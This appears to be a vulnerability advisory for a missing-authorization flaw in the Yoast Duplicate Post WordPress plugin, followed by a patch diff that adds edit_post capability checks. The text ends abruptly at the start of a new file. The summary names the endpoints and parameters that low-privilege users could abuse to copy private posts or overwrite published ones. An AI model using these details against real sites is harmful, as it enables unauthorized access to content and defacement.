Atomic Edge analysis of CVE-2026-1217:
The vulnerability stems from missing capability checks in the Yoast Duplicate Post plugin’s bulk action and republish request handlers. The clone_bulk_action_handler() function in duplicate-post/src/handlers/bulk-handler.php processes bulk duplication requests without verifying the user’s edit_post capability for each target post. Similarly, the republish_request() function lacks authorization checks before overwriting published posts via the Rewrite & Republish feature. The vulnerable endpoints are WordPress AJAX handlers at /wp-admin/admin-ajax.php with action parameters ‘duplicate_post_bulk_action’ and ‘duplicate_post_republish’. Attackers with Contributor-level access can supply arbitrary post IDs via the ‘post[]’ parameter to duplicate any post, including private, draft, and trashed posts. Attackers with Author-level access can use the ‘duplicate_post_republish’ action with ‘post_id’ and ‘original_id’ parameters to overwrite published posts. The patch adds capability checks using current_user_can(‘edit_post’, $post_id) in both handlers (lines 99 and 142 of bulk-handler.php). It also introduces a new REST API handler with proper permissions validation. Exploitation allows unauthorized post duplication and content overwrite, potentially enabling privilege escalation, content theft, and site defacement.

CVE-2026-1217: Yoast Duplicate Post <= 4.5 – Authenticated (Contributor+) Missing Authorization to Arbitrary Post Duplication and Overwrite (duplicate-post)
CVE-2026-1217
duplicate-post
4.5
4.6
Analysis Overview
Differential between vulnerable and patched code
--- a/duplicate-post/admin-functions.php
+++ b/duplicate-post/admin-functions.php
@@ -11,6 +11,7 @@
}
use YoastWPDuplicate_PostUINewsletter;
+use YoastWPDuplicate_PostUtils;
require_once DUPLICATE_POST_PATH . 'options.php';
@@ -19,6 +20,8 @@
/**
* Wrapper for the option 'duplicate_post_version'.
+ *
+ * @return mixed
*/
function duplicate_post_get_installed_version() {
return get_option( 'duplicate_post_version' );
@@ -26,6 +29,8 @@
/**
* Wrapper for the defined constant DUPLICATE_POST_CURRENT_VERSION.
+ *
+ * @return string
*/
function duplicate_post_get_current_version() {
return DUPLICATE_POST_CURRENT_VERSION;
@@ -35,6 +40,8 @@
/**
* Adds handlers depending on the options.
+ *
+ * @return void
*/
function duplicate_post_admin_init() {
duplicate_post_plugin_upgrade();
@@ -49,32 +56,29 @@
add_action( 'wp_ajax_duplicate_post_dismiss_notice', 'duplicate_post_dismiss_notice' );
}
- add_action( 'dp_duplicate_post', 'duplicate_post_copy_post_meta_info', 10, 2 );
- add_action( 'dp_duplicate_page', 'duplicate_post_copy_post_meta_info', 10, 2 );
+ add_action( 'duplicate_post_after_duplicated', 'duplicate_post_copy_post_meta_info', 10, 2 );
if ( intval( get_option( 'duplicate_post_copychildren' ) ) === 1 ) {
- add_action( 'dp_duplicate_post', 'duplicate_post_copy_children', 20, 3 );
- add_action( 'dp_duplicate_page', 'duplicate_post_copy_children', 20, 3 );
+ add_action( 'duplicate_post_after_duplicated', 'duplicate_post_copy_children', 20, 3 );
}
if ( intval( get_option( 'duplicate_post_copyattachments' ) ) === 1 ) {
- add_action( 'dp_duplicate_post', 'duplicate_post_copy_attachments', 30, 2 );
- add_action( 'dp_duplicate_page', 'duplicate_post_copy_attachments', 30, 2 );
+ add_action( 'duplicate_post_after_duplicated', 'duplicate_post_copy_attachments', 30, 2 );
}
if ( intval( get_option( 'duplicate_post_copycomments' ) ) === 1 ) {
- add_action( 'dp_duplicate_post', 'duplicate_post_copy_comments', 40, 2 );
- add_action( 'dp_duplicate_page', 'duplicate_post_copy_comments', 40, 2 );
+ add_action( 'duplicate_post_after_duplicated', 'duplicate_post_copy_comments', 40, 2 );
}
- add_action( 'dp_duplicate_post', 'duplicate_post_copy_post_taxonomies', 50, 2 );
- add_action( 'dp_duplicate_page', 'duplicate_post_copy_post_taxonomies', 50, 2 );
+ add_action( 'duplicate_post_after_duplicated', 'duplicate_post_copy_post_taxonomies', 50, 2 );
add_filter( 'plugin_row_meta', 'duplicate_post_add_plugin_links', 10, 2 );
}
/**
* Plugin upgrade.
+ *
+ * @return void
*/
function duplicate_post_plugin_upgrade() {
$installed_version = duplicate_post_get_installed_version();
@@ -138,14 +142,17 @@
'new_draft' => '1',
'clone' => '1',
'rewrite_republish' => '1',
- ]
+ ],
);
add_option( 'duplicate_post_show_link_in', $show_links_in_defaults );
- $taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist' );
- if ( $taxonomies_blacklist === '' ) {
+ $taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist', [] );
+ if ( empty( $taxonomies_blacklist ) ) {
$taxonomies_blacklist = [];
}
+ elseif ( ! is_array( $taxonomies_blacklist ) ) {
+ $taxonomies_blacklist = [ $taxonomies_blacklist ];
+ }
if ( in_array( 'post_format', $taxonomies_blacklist, true ) ) {
update_option( 'duplicate_post_copyformat', 0 );
$taxonomies_blacklist = array_diff( $taxonomies_blacklist, [ 'post_format' ] );
@@ -153,9 +160,6 @@
}
$meta_blacklist = explode( ',', get_option( 'duplicate_post_blacklist' ) );
- if ( $meta_blacklist === '' ) {
- $meta_blacklist = [];
- }
$meta_blacklist = array_map( 'trim', $meta_blacklist );
if ( in_array( '_wp_page_template', $meta_blacklist, true ) ) {
update_option( 'duplicate_post_copytemplate', 0 );
@@ -205,6 +209,8 @@
* Shows the welcome notice.
*
* @global string $wp_version The WordPress version string.
+ *
+ * @return void
*/
function duplicate_post_show_update_notice() {
if ( ! current_user_can( 'manage_options' ) ) {
@@ -222,14 +228,14 @@
$title = sprintf(
/* translators: %s: Yoast Duplicate Post. */
esc_html__( 'You've successfully installed %s!', 'duplicate-post' ),
- 'Yoast Duplicate Post'
+ 'Yoast Duplicate Post',
);
$img_path = plugins_url( '/duplicate_post_yoast_icon-125x125.png', __FILE__ );
echo '<div id="duplicate-post-notice" class="notice is-dismissible" style="display: flex; align-items: flex-start;">
<img src="' . esc_url( $img_path ) . '" alt="" style="margin: 1em 1em 1em 0; width: 130px; align-self: center;"/>
- <div stle="margin: 0.5em">
+ <div style="margin: 0.5em">
<h1 style="font-size: 14px; color: #a4286a; font-weight: 600; margin-top: 8px;">' . $title . '</h1>' // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: escaped properly above.
. Newsletter::newsletter_signup_form() // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: escaped in newsletter.php.
. '</div>
@@ -270,12 +276,14 @@
*
* @param int $new_id New post ID.
* @param WP_Post $post The original post object.
+ *
+ * @return void
*/
function duplicate_post_copy_post_taxonomies( $new_id, $post ) {
global $wpdb;
if ( isset( $wpdb->terms ) ) {
// Clear default category (added by wp_insert_post).
- wp_set_object_terms( $new_id, null, 'category' );
+ wp_set_object_terms( $new_id, [], 'category' );
$post_taxonomies = get_object_taxonomies( $post->post_type );
// Several plugins just add support to post-formats but don't register post_format taxonomy.
@@ -283,10 +291,13 @@
$post_taxonomies[] = 'post_format';
}
- $taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist' );
- if ( $taxonomies_blacklist === '' ) {
+ $taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist', [] );
+ if ( empty( $taxonomies_blacklist ) ) {
$taxonomies_blacklist = [];
}
+ elseif ( ! is_array( $taxonomies_blacklist ) ) {
+ $taxonomies_blacklist = [ $taxonomies_blacklist ];
+ }
if ( intval( get_option( 'duplicate_post_copyformat' ) ) === 0 ) {
$taxonomies_blacklist[] = 'post_format';
}
@@ -318,6 +329,8 @@
*
* @param int $new_id The new post ID.
* @param WP_Post $post The original post object.
+ *
+ * @return void
*/
function duplicate_post_copy_post_meta_info( $new_id, $post ) {
$post_meta_keys = get_post_custom_keys( $post->ID );
@@ -344,8 +357,6 @@
$meta_blacklist[] = '_thumbnail_id';
}
- $meta_blacklist = apply_filters_deprecated( 'duplicate_post_blacklist_filter', [ $meta_blacklist ], '3.2.5', 'duplicate_post_excludelist_filter' );
-
/**
* Filters the meta fields excludelist when copying a post.
*
@@ -361,7 +372,7 @@
$meta_keys = [];
foreach ( $post_meta_keys as $meta_key ) {
- if ( ! preg_match( '#^' . $meta_blacklist_string . '$#', $meta_key ) ) {
+ if ( ! preg_match( '#^(' . $meta_blacklist_string . ')$#', $meta_key ) ) {
$meta_keys[] = $meta_key;
}
}
@@ -411,7 +422,7 @@
* @return string|mixed
*/
function duplicate_post_addslashes_to_strings_only( $value ) {
- return YoastWPDuplicate_PostUtils::addslashes_to_strings_only( $value );
+ return Utils::addslashes_to_strings_only( $value );
}
/**
@@ -429,6 +440,8 @@
*
* @param int $new_id The new post ID.
* @param WP_Post $post The original post object.
+ *
+ * @return void
*/
function duplicate_post_copy_attachments( $new_id, $post ) {
// Get thumbnail ID.
@@ -440,7 +453,7 @@
'numberposts' => -1,
'post_status' => 'any',
'post_parent' => $post->ID,
- ]
+ ],
);
// Clone old attachments.
foreach ( $children as $child ) {
@@ -463,14 +476,15 @@
$new_attachment_id = media_handle_sideload( $file_array, $new_id, $desc );
if ( is_wp_error( $new_attachment_id ) ) {
- unlink( $file_array['tmp_name'] );
+ wp_delete_file( $file_array['tmp_name'] );
continue;
}
$new_post_author = wp_get_current_user();
$cloned_child = [
'ID' => $new_attachment_id,
'post_title' => $child->post_title,
- 'post_exceprt' => $child->post_title,
+ 'post_excerpt' => $child->post_excerpt, // Caption.
+ 'post_content' => $child->post_content, // Description.
'post_author' => $new_post_author->ID,
];
wp_update_post( wp_slash( $cloned_child ) );
@@ -493,6 +507,8 @@
* @param int $new_id The new post ID.
* @param WP_Post $post The original post object.
* @param string $status Optional. The destination status.
+ *
+ * @return void
*/
function duplicate_post_copy_children( $new_id, $post, $status = '' ) {
// Get children.
@@ -502,7 +518,7 @@
'numberposts' => -1,
'post_status' => 'any',
'post_parent' => $post->ID,
- ]
+ ],
);
foreach ( $children as $child ) {
@@ -518,6 +534,8 @@
*
* @param int $new_id The new post ID.
* @param WP_Post $post The original post object.
+ *
+ * @return void
*/
function duplicate_post_copy_comments( $new_id, $post ) {
$comments = get_comments(
@@ -525,7 +543,7 @@
'post_id' => $post->ID,
'order' => 'ASC',
'orderby' => 'comment_date_gmt',
- ]
+ ],
);
$old_id_to_new = [];
@@ -601,8 +619,8 @@
wp_die(
esc_html(
__( 'Copy features for this post type are not enabled in options page', 'duplicate-post' ) . ': '
- . $post->post_type
- )
+ . $post->post_type,
+ ),
);
}
@@ -714,11 +732,22 @@
// information about a post you can hook this action to dupe that data.
if ( $new_post_id !== 0 && ! is_wp_error( $new_post_id ) ) {
+ /**
+ * Fires after a post has been duplicated.
+ *
+ * @param int $new_post_id The ID of the new post.
+ * @param WP_Post $post The original post object.
+ * @param string $status The status of the new post.
+ * @param string $post_type The post type of the duplicated post.
+ */
+ do_action( 'duplicate_post_after_duplicated', $new_post_id, $post, $status, $post->post_type );
+
+ // Deprecated hooks for backward compatibility.
if ( $post->post_type === 'page' || is_post_type_hierarchical( $post->post_type ) ) {
- do_action( 'dp_duplicate_page', $new_post_id, $post, $status );
+ do_action_deprecated( 'dp_duplicate_page', [ $new_post_id, $post, $status ], 'Yoast Duplicate Post 4.6', 'duplicate_post_after_duplicated' );
}
else {
- do_action( 'dp_duplicate_post', $new_post_id, $post, $status );
+ do_action_deprecated( 'dp_duplicate_post', [ $new_post_id, $post, $status ], 'Yoast Duplicate Post 4.6', 'duplicate_post_after_duplicated' );
}
delete_post_meta( $new_post_id, '_dp_original' );
@@ -741,13 +770,13 @@
/**
* Adds some links on the plugin page.
*
- * @param array $links The links array.
- * @param string $file The file name.
- * @return array
+ * @param array<string> $links The links array.
+ * @param string $file The file name.
+ * @return array<string>
*/
function duplicate_post_add_plugin_links( $links, $file ) {
if ( plugin_basename( __DIR__ . '/duplicate-post.php' ) === $file ) {
- $links[] = '<a href="https://yoast.com/wordpress/plugins/duplicate-post">' . esc_html__( 'Documentation', 'duplicate-post' ) . '</a>';
+ $links[] = '<a href="https://yoa.st/4jr">' . esc_html__( 'Documentation', 'duplicate-post' ) . '</a>';
}
return $links;
}
--- a/duplicate-post/common-functions.php
+++ b/duplicate-post/common-functions.php
@@ -63,6 +63,8 @@
* @param string $before Optional. Display before edit link.
* @param string $after Optional. Display after edit link.
* @param int $id Optional. Post ID.
+ *
+ * @return void
*/
function duplicate_post_clone_post_link( $link = null, $before = '', $after = '', $id = 0 ) {
$post = get_post( $id );
@@ -75,11 +77,8 @@
return;
}
- if ( $link === null ) {
- $link = __( 'Copy to a new draft', 'duplicate-post' );
- }
-
- $link = '<a class="post-clone-link" href="' . esc_url( $url ) . '">' . esc_html( $link ) . '</a>';
+ $link ??= __( 'Copy to a new draft', 'duplicate-post' );
+ $link = '<a class="post-clone-link" href="' . esc_url( $url ) . '">' . esc_html( $link ) . '</a>';
/**
* Filter on the clone link HTML.
--- a/duplicate-post/compat/jetpack-functions.php
+++ b/duplicate-post/compat/jetpack-functions.php
@@ -10,6 +10,8 @@
/**
* Add handlers for JetPack compatibility.
+ *
+ * @return void
*/
function duplicate_post_jetpack_init() {
add_filter( 'duplicate_post_excludelist_filter', 'duplicate_post_jetpack_add_to_excludelist', 10, 1 );
@@ -39,6 +41,8 @@
* Disable Markdown.
*
* To be called before copy.
+ *
+ * @return void
*/
function duplicate_post_jetpack_disable_markdown() {
WPCom_Markdown::get_instance()->unload_markdown_for_posts();
@@ -48,6 +52,8 @@
* Enaable Markdown.
*
* To be called after copy.
+ *
+ * @return void
*/
function duplicate_post_jetpack_enable_markdown() {
WPCom_Markdown::get_instance()->load_markdown_for_posts();
--- a/duplicate-post/compat/wpml-functions.php
+++ b/duplicate-post/compat/wpml-functions.php
@@ -12,11 +12,12 @@
/**
* Add handlers for WPML compatibility.
+ *
+ * @return void
*/
function duplicate_post_wpml_init() {
if ( defined( 'ICL_SITEPRESS_VERSION' ) ) {
- add_action( 'dp_duplicate_page', 'duplicate_post_wpml_copy_translations', 10, 3 );
- add_action( 'dp_duplicate_post', 'duplicate_post_wpml_copy_translations', 10, 3 );
+ add_action( 'duplicate_post_after_duplicated', 'duplicate_post_wpml_copy_translations', 10, 3 );
add_action( 'shutdown', 'duplicate_wpml_string_packages', 11 );
}
}
@@ -35,13 +36,14 @@
* @param int $post_id ID of the copy.
* @param WP_Post $post Original post object.
* @param string $status Status of the new post.
+ *
+ * @return void
*/
function duplicate_post_wpml_copy_translations( $post_id, $post, $status = '' ) {
global $sitepress;
global $duplicated_posts;
- remove_action( 'dp_duplicate_page', 'duplicate_post_wpml_copy_translations', 10 );
- remove_action( 'dp_duplicate_post', 'duplicate_post_wpml_copy_translations', 10 );
+ remove_action( 'duplicate_post_after_duplicated', 'duplicate_post_wpml_copy_translations', 10 );
$current_language = $sitepress->get_current_language();
$trid = $sitepress->get_element_trid( $post->ID );
@@ -62,7 +64,7 @@
'post_' . $translation->post_type,
$new_trid,
$code,
- $current_language
+ $current_language,
);
}
}
@@ -78,6 +80,8 @@
* Duplicate string packages.
*
* @global array() $duplicated_posts Array of duplicated posts.
+ *
+ * @return void
*/
function duplicate_wpml_string_packages() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Reason: renaming the function would be a BC-break.
global $duplicated_posts;
@@ -108,7 +112,7 @@
$new_string->id,
$language,
$translated_string['value'],
- $translated_string['status']
+ $translated_string['status'],
);
}
}
--- a/duplicate-post/duplicate-post.php
+++ b/duplicate-post/duplicate-post.php
@@ -9,12 +9,14 @@
* Plugin Name: Yoast Duplicate Post
* Plugin URI: https://yoast.com/wordpress/plugins/duplicate-post/
* Description: The go-to tool for cloning posts and pages, including the powerful Rewrite & Republish feature.
- * Version: 4.5
+ * Version: 4.6
* Author: Enrico Battocchi & Team Yoast
- * Author URI: https://yoast.com
+ * Author URI: https://yoa.st/team-yoast-duplicate
* Text Domain: duplicate-post
+ * Requires at least: 6.8
+ * Requires PHP: 7.4
*
- * Copyright 2020-2022 Yoast BV (email : info@yoast.com)
+ * Copyright 2020-2024 Yoast BV (email : info@yoast.com)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
@@ -45,7 +47,7 @@
define( 'DUPLICATE_POST_PATH', plugin_dir_path( __FILE__ ) );
}
-define( 'DUPLICATE_POST_CURRENT_VERSION', '4.5' );
+define( 'DUPLICATE_POST_CURRENT_VERSION', '4.6' );
$duplicate_post_autoload_file = DUPLICATE_POST_PATH . 'vendor/autoload.php';
@@ -66,20 +68,14 @@
* @phpcs:disable PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
* @phpcs:disable WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore
* @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
+ *
+ * @return void
*/
function __duplicate_post_main() {
new Duplicate_Post();
}
// phpcs:enable
-/**
- * Initialises the internationalisation domain.
- */
-function duplicate_post_load_plugin_textdomain() {
- load_plugin_textdomain( 'duplicate-post', false, basename( __DIR__ ) . '/languages/' );
-}
-add_action( 'plugins_loaded', 'duplicate_post_load_plugin_textdomain' );
-
add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), 'duplicate_post_plugin_actions', 10 );
/**
@@ -87,16 +83,17 @@
*
* @see 'plugin_action_links_$plugin_file'
*
- * @param array $actions An array of plugin action links.
- * @return array
+ * @param array<string, string> $actions An array of plugin action links.
+ * @return array<string, string>
*/
function duplicate_post_plugin_actions( $actions ) {
$settings_action = [
'settings' => sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
menu_page_url( 'duplicatepost', false ),
+ /* translators: Hidden accessibility text. */
'aria-label="' . __( 'Settings for Duplicate Post', 'duplicate-post' ) . '"',
- esc_html__( 'Settings', 'duplicate-post' )
+ esc_html__( 'Settings', 'duplicate-post' ),
),
];
--- a/duplicate-post/options.php
+++ b/duplicate-post/options.php
@@ -15,7 +15,7 @@
$duplicate_post_options_page = new Options_Page(
new Options(),
new Options_Form_Generator( new Options_Inputs() ),
- new Asset_Manager()
+ new Asset_Manager(),
);
$duplicate_post_options_page->register_hooks();
--- a/duplicate-post/src/admin/options-form-generator.php
+++ b/duplicate-post/src/admin/options-form-generator.php
@@ -78,7 +78,7 @@
$option,
$option_values['value'],
$id,
- $this->is_checked( $option, $option_values, $parent_option )
+ $this->is_checked( $option, $option_values, $parent_option ),
);
$output .= sprintf( '<label for="%s">%s</label>', $id, esc_html( $option_values['label'] ) );
@@ -127,8 +127,8 @@
/**
* Extracts and formats the description associated with the input field.
*
- * @param string|array $description The description string. Can be an array of strings.
- * @param string $id The ID of the input field.
+ * @param string|array<string> $description The description string. Can be an array of strings.
+ * @param string $id The ID of the input field.
*
* @return string The description HTML for the input.
*/
@@ -176,7 +176,7 @@
'checked' => in_array( $taxonomy->name, $taxonomies_blacklist, true ),
'label' => $taxonomy->labels->name . ' [' . $taxonomy->name . ']',
],
- ]
+ ],
);
$output .= '</div>';
}
@@ -212,7 +212,7 @@
'checked' => $role->has_cap( 'copy_posts' ),
'label' => translate_user_role( $display_name ),
],
- ]
+ ],
);
}
}
@@ -246,7 +246,7 @@
'checked' => $this->is_post_type_enabled( $post_type_object->name ),
'label' => $post_type_object->labels->name,
],
- ]
+ ],
);
}
--- a/duplicate-post/src/admin/options-inputs.php
+++ b/duplicate-post/src/admin/options-inputs.php
@@ -25,7 +25,7 @@
esc_attr( $name ),
esc_attr( $id ),
esc_attr( $value ),
- $attributes
+ $attributes,
);
}
--- a/duplicate-post/src/admin/options-page.php
+++ b/duplicate-post/src/admin/options-page.php
@@ -77,7 +77,7 @@
__( 'Duplicate Post', 'duplicate-post' ),
'manage_options',
'duplicatepost',
- [ $this, 'generate_page' ]
+ [ $this, 'generate_page' ],
);
add_action( $page_hook, [ $this, 'enqueue_assets' ] );
--- a/duplicate-post/src/admin/options.php
+++ b/duplicate-post/src/admin/options.php
@@ -37,7 +37,7 @@
$options,
static function ( $option ) use ( $tab ) {
return array_key_exists( 'tab', $option ) && $option['tab'] === $tab;
- }
+ },
);
if ( empty( $options ) ) {
@@ -50,7 +50,7 @@
$options,
static function ( $option ) use ( $fieldset ) {
return array_key_exists( 'fieldset', $option ) && $option['fieldset'] === $fieldset;
- }
+ },
);
}
@@ -233,10 +233,10 @@
'tab' => 'display',
'fieldset' => 'show-original',
'type' => 'checkbox',
- 'label' => __( 'In a metabox in the Edit screen', 'duplicate-post' ),
+ 'label' => __( 'In a sidebar panel or in a metabox in the Edit screen', 'duplicate-post' ),
'value' => 1,
'description' => [
- __( "You'll also be able to delete the reference to the original item with a checkbox", 'duplicate-post' ),
+ __( "You'll also be able to delete the reference to the original item", 'duplicate-post' ),
],
],
'duplicate_post_show_original_column' => [
--- a/duplicate-post/src/admin/views/options.php
+++ b/duplicate-post/src/admin/views/options.php
@@ -17,8 +17,12 @@
<form id="duplicate_post_settings_form" method="post" action="options.php" style="clear: both">
<?php settings_fields( 'duplicate_post_group' ); ?>
- <header role="tablist" aria-label="<?php esc_attr_e( 'Settings sections', 'duplicate-post' ); ?>"
- class="nav-tab-wrapper">
+ <header role="tablist" aria-label="
+ <?php
+ /* translators: Hidden accessibility text. */
+ esc_attr_e( 'Settings sections', 'duplicate-post' );
+ ?>
+ " class="nav-tab-wrapper">
<button
type="button"
role="tab"
@@ -217,7 +221,7 @@
'<code>',
'</code>',
'<a href="' . esc_url( 'https://developer.yoast.com/duplicate-post/functions-template-tags#duplicate_post_clone_post_link' ) . '">',
- '</a>'
+ '</a>',
);
?>
</p>
@@ -244,7 +248,7 @@
</table>
</section>
<p class="submit">
- <input type="submit" class="button button-primary" value="<?php esc_html_e( 'Save changes', 'duplicate-post' ); ?>"/>
+ <input type="submit" class="button button-primary" value="<?php esc_attr_e( 'Save changes', 'duplicate-post' ); ?>"/>
</p>
</form>
</div>
--- a/duplicate-post/src/handlers/bulk-handler.php
+++ b/duplicate-post/src/handlers/bulk-handler.php
@@ -89,18 +89,28 @@
}
$counter = 0;
+ $skipped = 0;
if ( is_array( $post_ids ) ) {
foreach ( $post_ids as $post_id ) {
$post = get_post( $post_id );
- if ( ! empty( $post ) && $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post ) ) {
- $new_post_id = $this->post_duplicator->create_duplicate_for_rewrite_and_republish( $post );
- if ( ! is_wp_error( $new_post_id ) ) {
- ++$counter;
- }
+ if ( empty( $post ) || ! $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post ) ) {
+ continue;
+ }
+ if ( ! current_user_can( 'edit_post', $post_id ) ) {
+ ++$skipped;
+ continue;
+ }
+ $new_post_id = $this->post_duplicator->create_duplicate_for_rewrite_and_republish( $post );
+ if ( ! is_wp_error( $new_post_id ) ) {
+ ++$counter;
}
}
}
- return add_query_arg( 'bulk_rewriting', $counter, $redirect_to );
+ $redirect_to = add_query_arg( 'bulk_rewriting', $counter, $redirect_to );
+ if ( $skipped > 0 ) {
+ $redirect_to = add_query_arg( 'bulk_rewriting_skipped', $skipped, $redirect_to );
+ }
+ return $redirect_to;
}
/**
@@ -118,21 +128,32 @@
}
$counter = 0;
+ $skipped = 0;
if ( is_array( $post_ids ) ) {
foreach ( $post_ids as $post_id ) {
$post = get_post( $post_id );
- if ( ! empty( $post ) && ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
- if ( intval( get_option( 'duplicate_post_copychildren' ) !== 1 )
- || ! is_post_type_hierarchical( $post->post_type )
- || ( is_post_type_hierarchical( $post->post_type ) && ! Utils::has_ancestors_marked( $post, $post_ids ) )
- ) {
- if ( ! is_wp_error( duplicate_post_create_duplicate( $post ) ) ) {
- ++$counter;
- }
- }
+ if ( empty( $post ) || $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
+ continue;
+ }
+ if ( intval( get_option( 'duplicate_post_copychildren' ) ) === 1
+ && is_post_type_hierarchical( $post->post_type )
+ && Utils::has_ancestors_marked( $post, $post_ids )
+ ) {
+ continue;
+ }
+ if ( ! current_user_can( 'edit_post', $post_id ) ) {
+ ++$skipped;
+ continue;
+ }
+ if ( ! is_wp_error( duplicate_post_create_duplicate( $post ) ) ) {
+ ++$counter;
}
}
}
- return add_query_arg( 'bulk_cloned', $counter, $redirect_to );
+ $redirect_to = add_query_arg( 'bulk_cloned', $counter, $redirect_to );
+ if ( $skipped > 0 ) {
+ $redirect_to = add_query_arg( 'bulk_cloned_skipped', $skipped, $redirect_to );
+ }
+ return $redirect_to;
}
}
--- a/duplicate-post/src/handlers/check-changes-handler.php
+++ b/duplicate-post/src/handlers/check-changes-handler.php
@@ -65,7 +65,7 @@
if ( ! ( isset( $_GET['post'] ) || isset( $_POST['post'] )
|| ( isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'duplicate_post_check_changes' ) ) ) {
wp_die(
- esc_html__( 'No post has been supplied!', 'duplicate-post' )
+ esc_html__( 'No post has been supplied!', 'duplicate-post' ),
);
return;
}
@@ -82,9 +82,9 @@
sprintf(
/* translators: %s: post ID. */
__( 'Changes overview failed, could not find post with ID %s.', 'duplicate-post' ),
- $id
- )
- )
+ $id,
+ ),
+ ),
);
return;
}
@@ -94,8 +94,8 @@
if ( ! $this->original ) {
wp_die(
esc_html(
- __( 'Changes overview failed, could not find original post.', 'duplicate-post' )
- )
+ __( 'Changes overview failed, could not find original post.', 'duplicate-post' ),
+ ),
);
return;
}
@@ -106,10 +106,10 @@
<div class="wrap">
<h1 class="long-header">
<?php
- echo sprintf(
+ printf(
/* translators: %s: original item link (to view or edit) or title. */
esc_html__( 'Compare changes of duplicated post with the original (“%s”)', 'duplicate-post' ),
- Utils::get_edit_or_view_link( $this->original ) // phpcs:ignore WordPress.Security.EscapeOutput
+ Utils::get_edit_or_view_link( $this->original ), // phpcs:ignore WordPress.Security.EscapeOutput
);
?>
</h1>
--- a/duplicate-post/src/handlers/handler.php
+++ b/duplicate-post/src/handlers/handler.php
@@ -55,6 +55,13 @@
protected $check_handler;
/**
+ * The REST API handler.
+ *
+ * @var Rest_API_Handler
+ */
+ protected $rest_api_handler;
+
+ /**
* Initializes the class.
*
* @param Post_Duplicator $post_duplicator The Post_Duplicator object.
@@ -68,10 +75,12 @@
$this->link_handler = new Link_Handler( $this->post_duplicator, $this->permissions_helper );
$this->check_handler = new Check_Changes_Handler( $this->permissions_helper );
$this->save_post_handler = new Save_Post_Handler( $this->permissions_helper );
+ $this->rest_api_handler = new Rest_API_Handler( $this->permissions_helper );
$this->bulk_handler->register_hooks();
$this->link_handler->register_hooks();
$this->check_handler->register_hooks();
$this->save_post_handler->register_hooks();
+ $this->rest_api_handler->register_hooks();
}
}
--- a/duplicate-post/src/handlers/link-handler.php
+++ b/duplicate-post/src/handlers/link-handler.php
@@ -73,14 +73,14 @@
wp_die(
esc_html(
__( 'Copy creation failed, could not find original:', 'duplicate-post' ) . ' '
- . $id
- )
+ . $id,
+ ),
);
}
if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
wp_die(
- esc_html__( 'You cannot create a copy of a post which is intended for Rewrite & Republish.', 'duplicate-post' )
+ esc_html__( 'You cannot create a copy of a post which is intended for Rewrite & Republish.', 'duplicate-post' ),
);
}
@@ -88,7 +88,7 @@
if ( is_wp_error( $new_id ) ) {
wp_die(
- esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' )
+ esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' ),
);
}
@@ -98,8 +98,8 @@
'cloned' => 1,
'ids' => $post->ID,
],
- admin_url( 'post.php?action=edit&post=' . $new_id . ( isset( $_GET['classic-editor'] ) ? '&classic-editor' : '' ) )
- )
+ admin_url( 'post.php?action=edit&post=' . $new_id . ( isset( $_GET['classic-editor'] ) ? '&classic-editor' : '' ) ),
+ ),
);
exit();
}
@@ -129,14 +129,14 @@
wp_die(
esc_html(
__( 'Copy creation failed, could not find original:', 'duplicate-post' ) . ' '
- . $id
- )
+ . $id,
+ ),
);
}
if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
wp_die(
- esc_html__( 'You cannot create a copy of a post which is intended for Rewrite & Republish.', 'duplicate-post' )
+ esc_html__( 'You cannot create a copy of a post which is intended for Rewrite & Republish.', 'duplicate-post' ),
);
}
@@ -144,7 +144,7 @@
if ( is_wp_error( $new_id ) ) {
wp_die(
- esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' )
+ esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' ),
);
}
@@ -172,8 +172,8 @@
'cloned' => 1,
'ids' => $post->ID,
],
- $sendback
- )
+ $sendback,
+ ),
);
exit();
}
@@ -203,14 +203,14 @@
wp_die(
esc_html(
__( 'Copy creation failed, could not find original:', 'duplicate-post' ) . ' '
- . $id
- )
+ . $id,
+ ),
);
}
if ( ! $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post ) ) {
wp_die(
- esc_html__( 'You cannot create a copy for Rewrite & Republish if the original is not published or if it already has a copy.', 'duplicate-post' )
+ esc_html__( 'You cannot create a copy for Rewrite & Republish if the original is not published or if it already has a copy.', 'duplicate-post' ),
);
}
@@ -218,7 +218,7 @@
if ( is_wp_error( $new_id ) ) {
wp_die(
- esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' )
+ esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' ),
);
}
@@ -228,8 +228,8 @@
'rewriting' => 1,
'ids' => $post->ID,
],
- admin_url( 'post.php?action=edit&post=' . $new_id . ( isset( $_GET['classic-editor'] ) ? '&classic-editor' : '' ) )
- )
+ admin_url( 'post.php?action=edit&post=' . $new_id . ( isset( $_GET['classic-editor'] ) ? '&classic-editor' : '' ) ),
+ ),
);
exit();
}
--- a/duplicate-post/src/handlers/rest-api-handler.php
+++ b/duplicate-post/src/handlers/rest-api-handler.php
@@ -0,0 +1,144 @@
+<?php
+
+namespace YoastWPDuplicate_PostHandlers;
+
+use WP_Error;
+use WP_REST_Request;
+use WP_REST_Response;
+use WP_REST_Server;
+use YoastWPDuplicate_PostPermissions_Helper;
+
+/**
+ * Duplicate Post handler class for REST API endpoints.
